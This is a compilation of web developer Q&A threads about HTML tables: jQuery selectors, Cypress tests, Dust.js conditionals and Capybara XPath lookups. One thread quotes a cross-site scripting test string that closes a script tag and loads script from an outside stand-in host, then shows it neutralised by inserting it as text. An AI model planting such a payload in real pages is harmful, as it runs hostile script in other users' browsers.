I have this HTML table:
<table id="languages" border="0" cellspacing="1">
<thead>
<tr>
<th>Language</th>
<th>Type</th>
<th>Invented</th>
</tr>
</thead>
<tbody>
<tr>
<td>Java</td>
<td>Static</td>
<td>1995</td>
</tr>
<tr>
<td>Ruby</td>
<td>Dynamic</td>
<td>1993</td>
</tr>
<tr>
<td>Smalltalk</td>
<td>Dynamic</td>
<td>1972</td>
</tr>
<tr>
<td>C++</td>
<td>Static</td>
<td>1983</td>
</tr>
</tbody>
</table>
When I run this JavaScript:
alert($('td').index($('td:contains(C++)')))
I get a pop up saying 9, which is what I would expect.
And when I run this: alert($('td:eq(9)').text()), the pop up says C++, again same as what one would expect. But if I try to put the first function/selection instead of hard coding 9 in the second selector, like this...
alert($('td:eq($('td').index($('td:contains(C++)')))').text())
// just replacing the hard coded 9 with the first selector, as it gives a value of 9
...nothing happens. I don't get any pop up saying C++, which is what one would expect, I don't get any pop up for that matter. Can anyone please tell me what am I doing wrong?
The problem is that you aren't escaping the single quotes in the inner selector, so you're effectively exiting the string at that point, which is throwing an error. Change this:
alert($('td:eq($('td').index($('td:contains(C++)')))').text())
To this:
alert($('td:eq(' + $('td').index($('td:contains(C++)')) + ')').text())
The below should work:
alert($('td:eq('+$('td').index($('td:contains(C++)'))+')').text())
Related
I have a page containing a table to which values can be added via a textbox in a modal popup and the values will appear in the table on the page.
It is being tested by adding the string ); to the textbox and it fails because this string will initiate a popup. So I need to allow this code to be added and appear innocuously in its original format on the page without initiating a popup etc.
I've tried HTMLDecode('user added string') but this just cleanses the string and returns );
Is there a way to do this?
This is the table so the string is just being plonked in a cell so maybe something like a Literal would help?
But it has to be done client side - there is no server involvement.
I don't know how the code is initiated as someone else messed with that but it makes a raptor run across the screen - ridiculous.
<table>
<thead>
<tr>
<th>Event</th>
<th>Target Day(s)</th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>));</Script><Script Src="//donastystuff1/X.Js"/></td>
<td>1</td>
<td></td>
<td></td>
</tr>
</tbody>
Thanks for the input but I fixed it by adding the string to a Literal manually like this
var thisEventType = 'malicious string';
var $thisEventTypeCell = $('<td><asp:Literal id="litEventType" runat="server">' + '</asp:Literal></td>');
$thisEventTypeCell.text(thisEventType);
tr.append($thisEventTypeCell);
I've created a pure HTML Table, what I would like to do is allow the User to query the table via JavaScript. The structure is as follows:
A simple table (depicted here: https://codepen.io/chriscoyier/pen/tIuBL)
Provide a textarea or use a Library like Monaco editor to allow the user to write up JS QuerySelector queries.
Return the modified results to the User.
I am aware of security concerns, but this is a local static generated list of HTML files.
What I am unclear is;
Are there libraries that can do this already? I've found some "live-editors" that allow JavaScript to be executed, but I haven't been successful in replicating the results to modify the Table contents only. What ends up happening is that the whole page seems to get malformed when a user executes JS.
Is there another way to let users write-up JavaScript QuerySelector script to "play" with the exported tables?
Table structure:
<table class="order-table table">
<thead>
<tr>
<th>Name</th>
<th>Email</th>
<th>Phone</th>
<th>Price</th>
</tr>
</thead>
<tbody>
<tr>
<td>John Doe</td>
<td>john.doe#gmail.com</td>
<td>0123456789</td>
<td>99</td>
</tr>
<tr>
<td>Jane Vanda</td>
<td>jane#vanda.org</td>
<td>9876543210</td>
<td>349</td>
</tr>
<tr>
<td>Alferd Penyworth</td>
<td>alfred#batman.com</td>
<td>6754328901</td>
<td>199</td>
</tr>
</tbody>
</table>
You can just offer a normal textarea for users to type in the queries.
Use .value to get the typed in text as a String.
The use the string as an argument for document.querySelectorAll.
[edited to incorporate nilsf comment]
I'm trying to iterate through table rows and get each row which includes a specific value,
but it doesn't work for me.
I'm using .each() to iterate the rows and .within() on each $el,
inside that, I use cy.get('td').eq(1).contains('hello') but I the get assertion error:
Timed out retrying: Expected to find content: 'hello' within the element: <td> but never did.
when I console.log cy.get('td').eq(1) it yields the desired cell in each row and the test passes, so I don't understand why chaining .contains() doesn't work...
it('get element in table', () => {
cy.visit('http://localhost:3000/');
cy.get('tbody tr').each(($el) => {
cy.wrap($el).within(() => {
cy.get('td').eq(1).contains('hello') // contains() doesn't work
})
})
});
<table>
<thead>
<tr>
<th>Month</th>
<th>Savings</th>
</tr>
</thead>
<tbody>
<tr>
<td>January</td>
<td>$100</td>
</tr>
<tr>
<td>February</td>
<td>hello</td>
<td>$80</td>
</tr>
<tr>
<td>$10</td>
<td>hello</td>
</tr>
</tbody>
</table>
should('have.text', text) should work
cy.get('td').eq(1).should('have.text', 'hello')
If there's whitespace around text, use contain.text
cy.get('td').eq(1).should('contain.text', 'hello')
The simple answer is: don't :)
To be more specific use html attribute selection instead. The convention is to have an attribute named data-cy. Furthermore, I discovered it convenient to have a data-cy-identifier for when selecting specific rows. Since I'm not sure what you're trying with your code, I'll use a similar example that can hopefully get you going:
<table data-cy="expences">
<tr>
<td data-cy="month">January</td>
<td data-cy="price">$100</td>
</tr>
<tr data-cy="discounted">
<td data-cy="month">Feburary</td>
<td data-cy="price">$80</td>
</tr>
<tr data-cy="discounted">
<td data-cy="month">March</td>
<td data-cy="price">$10</td>
</tr>
</table>
You can of course do all sorts of combinations of this, but now you can do more specific and useful selections, such as:
cy.get('[data-cy="expenses"]').find('[data-cy="discounted"]').find('[data-cy="price"]').should(...)
And similar. This is flexible, because it reflects the structure of your data, and not the presentation, so you can change this to a list or whatever later. It avoids selecting of volatile things, so it's also more robust. It also uses a hierarchy rather than overly specific selectors.
The idea of adding things like data-cy-identifier allows you to do selections by ID (you can propagate it using javascript, angular, vue or whatever you use) and then checking things like the contents of a row with logically related items.
Hope it can get you going. Also I can recommend reading: https://docs.cypress.io/guides/references/best-practices.html
I am running into an interesting issue where my Dust.js template is not honoring an exists conditional.
My data looks like this:
{"guaranteedHistory": [
{
"depositDate": "2017-08-31T00:00:00.000-0500",
"interestRate": 515.5,
"maturityDate": "2017-08-31T00:00:00.000-0500",
"beginningBalance": 874757257.4,
"deposits": 4.25,
"transferIn": 75.7,
"investmentReturn": 52.71,
"amtReinvested": 5.5,
"maturityWithdrawal": 6.66,
"surrenderCharge": 7.77,
"endingBalance": 8.88,
"surrenderValue": 5735.56
}
],
}
Template (Doesn't work):
{?guaranteedHistory}
<table id="a">
<thead>
<tr>
<th> </th>
<th>What happened this period</th>
<th></th>
</tr>
</thead>
</table>
{:else}
<table id="b">
<thead>
<tr>
<th>Deposits</th>
<th>Dividends</th>
<th>Investment return</th>
</tr>
</thead>
</table>
{/guaranteedHistory}
The issue is that no matter what happens, the template will only display everything in the else conditional UNLESS inside the exists I output a value inside guaranteedHistory...
Template (This works):
{?guaranteedHistory}
{guaranteedHistory[0].depositDate}
<table id="a">
<thead>
<tr>
<th> </th>
<th>What happened this period</th>
<th></th>
</tr>
</thead>
</table>
{:else}
<table id="b">
<thead>
<tr>
<th>Deposits</th>
<th>Dividends</th>
<th>Investment return</th>
</tr>
</thead>
</table>
{/guaranteedHistory}
I was not able to find any way to get around this. I also could not duplicate this issue within a dev mode on dustjs.com, it works correctly there. Could anyone please help or tell me what could possibly be going wrong based on the provided information?
There is no reason that this shouldn't work correctly as you've described it. In addition, the compiled body_0 you provided is definitely correct.
So, if this really is happening, the only possible reasons are:
You aren't rendering the template you think you are. This seems unlikely if you're compiling and rendering yourself.
The value of guaranteedHistory isn't what you think it is. Because you are testing your template on http://www.dustjs.com/test/test.html and it works properly there, this is my guess.
So, this suggests to me that you have a race condition, and that you're trying to render with guaranteedHistory before it has been set (via some callback, Promise, etc).
Dust 2.7.2 doesn't resolve Promises in exists blocks so this may be what you're hitting. You can use the trunk tip if you need to until 2.8 is released.
I am have a rails app that I am writing cucumber test for. I am trying to get a number out of specific row so I can assert against it. I have a table that looks like this:
<table class="table table-striped" id="kids">
<thead>
<tr>
<th>Name</th>
<th>Balance</th>
<th></th>
</tr>
</thead>
<tbody>
<tr data-link="/kids/2">
<td>Jason</td>
<td>
<span>$</span>
<span class="money">1.00</span>
</td>
</tr>
<tr data-link="/kids/3">
<td>Neely</td>
<td>
<span>$</span>
<span class="money">0.50</span>
</td>
</tr>
</tbody>
</table>
I need to select a td that has a specific name, and then get the balance from the span in the following td. I am sure there is a way to do this with Xpath, but I cannot figure it out. Any help would be great.
You asked for XPath so here it is:
//td[preceding-sibling::td[text()='Neely']]/span[#class='money']
Note that XPathes aren't very readable and it may be better to use Capybara's ruby methods instead:
tr = find('tr', text: 'Neely')
tr.find('.money').text